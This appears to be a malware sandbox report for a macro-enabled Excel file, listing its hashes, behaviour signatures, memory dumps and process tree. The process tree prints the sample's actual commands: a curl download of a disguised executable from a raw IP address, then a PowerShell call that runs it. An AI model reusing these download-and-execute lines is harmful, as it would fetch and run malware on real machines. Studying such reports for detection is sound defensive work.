Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/12/2023, 00:36

General

  • Target

    46d6bdb8d65ae1dd0726c7d5e05e5f39.xlsm

  • Size

    117KB

  • MD5

    46d6bdb8d65ae1dd0726c7d5e05e5f39

  • SHA1

    c7a01da1bd8c051583acd3f028c42602e7d75271

  • SHA256

    fe017705d35cefdee2a98d7c319f62c6f44e47614d4548784832788517e2bc90

  • SHA512

    cc0af73db9ea0fdb8b3354bc02642d1191f43703936b66c0d663c25f2cef20d9a86f9b1a782cc7ccd278e0a4c2462e05c253eeeca53a70f3adcc9d3e60d750ba

  • SSDEEP

    1536:nSaJx8anJumqeFxBrCQ5GMJhj4x0RBxu07ZG5o3wnAIQEUKtP3HjEN:n3GsoQswMmJZGugAtQ3ju

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\46d6bdb8d65ae1dd0726c7d5e05e5f39.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\RgPFG.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3616
      • C:\Windows\system32\curl.exe
        curl http://151.236.30.123/images/suntogether.png -o C:\Users\Admin\AppData\Roaming\RgPFG.exe
        3⤵
          PID:1488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe start-sleep 10; $x=$env:AppData+'\RgPFG.exe';Invoke-Expression $x
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3768

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1648-11-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-3-0x00007FF83E850000-0x00007FF83E860000-memory.dmp

      Filesize

      64KB

    • memory/1648-10-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-12-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-4-0x00007FF83E850000-0x00007FF83E860000-memory.dmp

      Filesize

      64KB

    • memory/1648-17-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-19-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-20-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-22-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-21-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-18-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-16-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-6-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-57-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-15-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-9-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-8-0x00007FF83C2F0000-0x00007FF83C300000-memory.dmp

      Filesize

      64KB

    • memory/1648-7-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-5-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1648-14-0x00007FF83C2F0000-0x00007FF83C300000-memory.dmp

      Filesize

      64KB

    • memory/1648-2-0x00007FF83E850000-0x00007FF83E860000-memory.dmp

      Filesize

      64KB

    • memory/1648-1-0x00007FF83E850000-0x00007FF83E860000-memory.dmp

      Filesize

      64KB

    • memory/1648-0-0x00007FF83E850000-0x00007FF83E860000-memory.dmp

      Filesize

      64KB

    • memory/1648-13-0x00007FF87E7D0000-0x00007FF87E9C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3768-45-0x00007FF8565D0000-0x00007FF857091000-memory.dmp

      Filesize

      10.8MB

    • memory/3768-44-0x000001834B390000-0x000001834B3B2000-memory.dmp

      Filesize

      136KB

    • memory/3768-56-0x00007FF8565D0000-0x00007FF857091000-memory.dmp

      Filesize

      10.8MB

    • memory/3768-46-0x000001834B350000-0x000001834B360000-memory.dmp

      Filesize

      64KB